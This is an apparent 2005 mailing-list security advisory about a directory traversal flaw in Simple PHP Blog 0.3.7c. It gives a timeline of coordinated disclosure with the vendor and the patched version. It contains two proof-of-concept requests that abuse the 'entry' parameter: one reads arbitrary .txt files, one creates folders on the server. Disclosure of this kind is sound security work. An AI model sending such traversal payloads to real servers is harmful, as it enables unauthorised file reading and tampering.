-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1
Title: Simple PHP Blog directory traversal vulnerability Vulnerability discovery: Madelman <madelman AT iname.com> Date: 02/01/2005 Severity: Moderate
Summary: - --------
I started this project because I wanted a dead-simple blog. Something that didn't require a database, used flat text files, and looked nice.
The main advantage of using Simple PHP Blog is that it only requires PHP 4 (or greater) and write permission on the server. Unlike other blog software, there is almost no setup - just unzip and copy... (from vendor site: http://www.bigevilbrain.com/sphpblog/)
SPHPBlog doesn't check the entry parameter which allows directory traversal
This vulnerability has been tested with SPHPBlog 0.3.7c
Details: - --------
We can read any file with TXT extension (in this example /etc/X11/rgb.txt)
REQUEST: http://[SERVER]/sphpblog/comments.php?y=05&m=01&entry=../../../../../../../etc/X11/rgb
returns the content of the file
We can create arbitrary folders in the filesystem and the content of the post will be saved in this folder.
To create folder http://[SERVER]/sphpblog/createdir/
REQUEST (this must be a POST request and we must modify entry parameter): http://[SERVER]/sphpblog/comment_add_cgi.php ~ entry=../../../createdir
Solution - --------
Update to latest version (at this moment 0.3.7r2)
Timeline - --------
02/01/2005 - Vulnerability found 02/01/2005 - Vendor contacted 02/01/2005 - Vendor confirmed and implemented a patch for the first vuln 04/01/2005 - Vendor implemented a patch for the second vuln 07/01/2005 - Advisory released -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.3 (MingW32) Comment: Using GnuPG with Thunderbird - http://enigmail.mozdev.org
iD8DBQFB3nXf3RWooxY20cIRAo1gAJ4zAa8W9sthSPOtbs8tKMj/HgDWHwCdGbf/ /x7WTmTzJDdLNpSKSuyPEgc= =uNOC -----END PGP SIGNATURE----- _______________________________________________ Full-Disclosure - We believe in it. Charter: http://lists.netsys.com/full-disclosure-charter.html
